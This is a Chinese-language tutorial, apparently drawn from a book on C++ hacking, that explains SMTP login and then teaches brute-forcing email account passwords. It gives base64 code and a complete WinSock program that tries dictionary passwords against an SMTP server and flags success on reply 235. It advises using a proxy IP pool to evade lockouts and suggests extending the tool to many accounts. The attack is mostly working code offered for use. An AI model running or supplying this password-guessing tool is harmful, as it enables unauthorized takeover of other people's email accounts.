通过SMTP协议手工模拟电子邮箱破解过程详解
常用的发送和接收电子邮件的协议有SMTP协议和POP3协议。 SMTP协议主要用于发送电子邮件,而POP3协议主要用于接收电子邮件。本文介绍如何通过SMTP协议破解邮箱。

1.手动模拟SMTP
SMTP(简单邮件传输协议)是一种简单的邮件传输协议。它是基于TCP协议的邮件传输协议。它主要用于发送电子邮件。它的TCP端口号是25。这里我们通过简单的手动模拟简单介绍一下STMP登录过程。
在模拟之前,您需要准备一个SMTP服务器并注册一个帐户。网易、腾讯的邮箱均支持SMTP服务。这里随便使用一个SMTP服务器,模拟流程如图1所示。
图1 SMTP登录流程
如果登录过程中看到235,则说明登录成功。那么,我们来分析一下上面的步骤。
首先需要使用telnet登录smtp服务器,如telnet smtp.xxx.com 25,即为×××连接的smtp服务器地址,指定端口号为25端口。
接下来,输入 HELO smtp.×××.com,它标识发件人。
接下来,输入auth login告诉服务器验证身份。输入auth login时,服务器会返回334。334后面的字符串是base64编码的字符串。解密后的内容是“用户名:”。
只需在此处输入 base64 编码的“用户名”即可。当您输入用户名并按 Enter 时,将返回 334。 334后面的依然是base64编码的字符串,解密后的内容是“Password:”。
只需在“密码”后输入 base64 编码的“密码”即可。此时,如果用户名和密码正确,会返回235,表示登录成功。
对于模拟登录来说,掌握这一步就足够了。
测试时,如果手头没有用于字符串转换的base64编码工具,可以在搜索引擎中搜索“base64编码”,网上会有很多base64编码工具。
2. 电子邮件破解
通过以上关于SMTP协议登录的步骤,就可以使用WinSock来破解邮件密码了。要破解电子邮件密码,您需要准备四个部分。第一个是破解程序,然后是字典,第三个是代理IP地址池。破解程序是我们自己完成的程序。字典用于测试各种密码。代理IP地址池主要是为了避免邮件地址的服务器设置登录失败次数。 N次登录失败后,IP可能会被锁定。地址,有的甚至会锁定账号,这些都属于服务器上的安全策略配置。我们的主要任务就是完成破解程序的编写,其他的事情我们不会多想。
在编写自己的程序时,需要考虑两个方面。一方面,您使用WinSock与SMTP服务器通信,另一方面,您需要将用户名或密码转换为base64编码。
(1)Base64编码相关代码
在电子邮件的传输过程中,为了提高传输抗干扰性或者出于安全考虑,会对电子邮件进行一定程度的编码。最常见的编码方法是Base64编码。其编码和解码算法非常简单,编码长度为预编码长度的34%。
它是一种编码算法,也称为Base64加密。事实上,它不是一种加密算法。毕竟没有钥匙。它只是重新排列了字符的编码格式。
Base64的编码规则是,编码时使用特定的65个字符,可以由6个位组成来表示64个字符。第65个字符是“=”,用于标记特殊处理过程。这种编码使用24位作为输入组,输出是4个编码字符。这24位从左到右由3个8位组成,分为4组,每组6位,其中每组各加2个0位组成一个数字,数字在0到63之间。在Base64字符表中,根据这个数字就可以找到对应的字符。 Base64字符表如表1所示,这种编码组成的编码流必须严格遵循一定的顺序(从左到右),否则就没有意义(当然如果编码不符合则毫无意义)规格)。
表1 Base64编码表
原始字符组成的总位数可能无法精确分组,因此在末尾用“=”进行标记。让我们举个例子。
将“UPX”三个字符转换为Base64编码。编码过程如下。
将 UPX 的三个字符转换为二进制为“01010101 01010000 01011000”,将三个 8 位二进制数重新组合为四个 6 位二进制数为“010101 010101 000001 011000”,将这四个 6 位二进制数转换为 4 A十进制数是“21 21 1 24”,查找表值对应的字符为“VVBY”。这意味着“UPX”经过Base64编码,变成了“VVBY”。
将“MSVC”的四个字符转换成二进制为“01001101 01010011 01010110 01000011”,将四个8位二进制重新组合为六个6位二进制为“010011 010101 001101 010110 010000 11”,六个6位二进制数即可按照4个为一组分为两组,即“010011 010101 001101 010110”和“010000 11”。第一组转换为十进制为“19 21 13 22”。根据Base64编码表,该表为“TVNW”,转换为十进制后第二组为“16”。 3”,根据Base64编码表查表,是“QD”,但是需要4个为一组,如果这里少于4个,用“=”来补,那么第二组用Base64编码并且是“QD==”,因此用Base64编码的“MSVC”是“TVNWQD==”。
Base64编码和解码的代码如下:
static const char *codes ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";static const unsigned char map[256] = {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255 };int base64_encode(const unsigned char *in, unsigned long len,unsigned char *out){unsigned long i, len2, leven;unsigned char *p;/* valid output size ? */len2 = 4 * ((len + 2) / 3);p = out;leven = 3*(len / 3);for (i = 0; i < leven; i += 3) {*p++ = codes[in[0] >> 2];*p++ = codes[((in[0] & 3) << 4) + (in[1] >> 4)];*p++ = codes[((in[1] & 0xf) << 2) + (in[2] >> 6)];*p++ = codes[in[2] & 0x3f];in += 3;}/* Pad it if necessary... */if (i < len) {unsigned a = in[0];unsigned b = (i+1 < len) ? in[1] : 0;unsigned c = 0;*p++ = codes[a >> 2];*p++ = codes[((a & 3) << 4) + (b >> 4)];*p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';*p++ = '=';}/* append a NULL byte */*p = '\0';return p - out;}int base64_decode(const unsigned char *in, unsigned char *out){unsigned long t, x, y, z;unsigned char c;int g = 3;for (x = y = z = t = 0; in[x]!=0;) {c = map[in[x++]];if (c == 255) return -1;if (c == 253) continue;if (c == 254) { c = 0; g--; }t = (t<<6)|c;if (++y == 4) {// if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }out[z++] = (unsigned char)((t>>16)&255);if (g > 1) out[z++] = (unsigned char)((t>>8)&255);if (g > 2) out[z++] = (unsigned char)(t&255);y = t = 0;}}return z;}
上面给出了Base64算法编码和解码的代码。使用时直接调用即可。
(2)破解程序相关代码
破解的简单过程就是读取字典中的密码,创建socket,与SMTP服务器通信,判断返回结果。当找到“235”时,认为成功,并输出尝试的密码;如果没有找到“235”,则继续读取字典中的密码并重复前面的步骤。这是破解特定电子邮件帐户的简单想法。具体代码如下:
// 模拟一串字典char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){int nRetCode = 0;HMODULE hModule = ::GetModuleHandle(NULL);if (hModule != NULL){// 初始化 MFC 并在失败时显示错误if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0)){// TODO: 更改错误代码以符合您的需要_tprintf(_T("错误: MFC 初始化失败\n"));nRetCode = 1;}else{// TODO: 在此处为应用程序的行为编写代码。}}else{// TODO: 更改错误代码以符合您的需要_tprintf(_T("错误: GetModuleHandle 失败\n"));nRetCode = 1;}// 初始化 WinSockWSADATA wsaData = { 0 };WSAStartup(MAKEWORD(2, 2), &wsaData);// 循环读取字典for ( int i = 0; i <= 4; i ++ ){char in[30] = { 0 };char out[MAXBYTE] = { 0 };SOCKET s = socket(PF_INET, SOCK_STREAM, 0);sockaddr_in saddr = { 0 };saddr.sin_family = AF_INET;// 连接 SMTP 服务器saddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");// 连接 SMTP 服务的端口号saddr.sin_port = htons(25);// 发送/接收通信数据的缓冲区char szBuff[MAX_PATH] = { 0 };int nRet = connect(s, (SOCKADDR*)&saddr, sizeof(saddr));recv(s, szBuff, MAXBYTE, 0);printf("%s \r\n", szBuff);lstrcpy(szBuff, "auth login\r\n");send(s, szBuff, strlen(szBuff), 0);printf("%s \r\n", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s \r\n", szBuff);// 这里的 xxx 替换为要破解的 SMTP 用户名lstrcpy(in, "xxx");base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);lstrcpy(szBuff, out);lstrcat(szBuff, "\r\n");send(s, szBuff, strlen(szBuff), 0);printf("%s \r\n", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s \r\n", szBuff);lstrcpy(in, (LPCSTR)(*(dict + i)));base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);lstrcpy(szBuff, out);lstrcat(szBuff, "\r\n");send(s, szBuff, strlen(szBuff), 0);printf("%s \r\n", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s \r\n", szBuff);if ( strstr(szBuff, "235") ){printf("Success \r\n");printf("%s\r\n", (char *)(*(dict + i)));closesocket(s);break;}else{printf("Faild \r\n");}closesocket(s);}WSACleanup();return nRetCode;}
这段代码是控制台下的MFC项目。请创建相关工程,然后编译连接源码测试效果。该程序是破解单个SMTP账户,运行结果如图2所示。
图2 SMTP破解程序运行结果
图2是程序运行后的结果。该程序仅破解特定的 SMTP 帐户。您可以将其修改为可以破解多个帐户的程序。
参考:C++ 黑客编程揭秘与预防(第 3 版)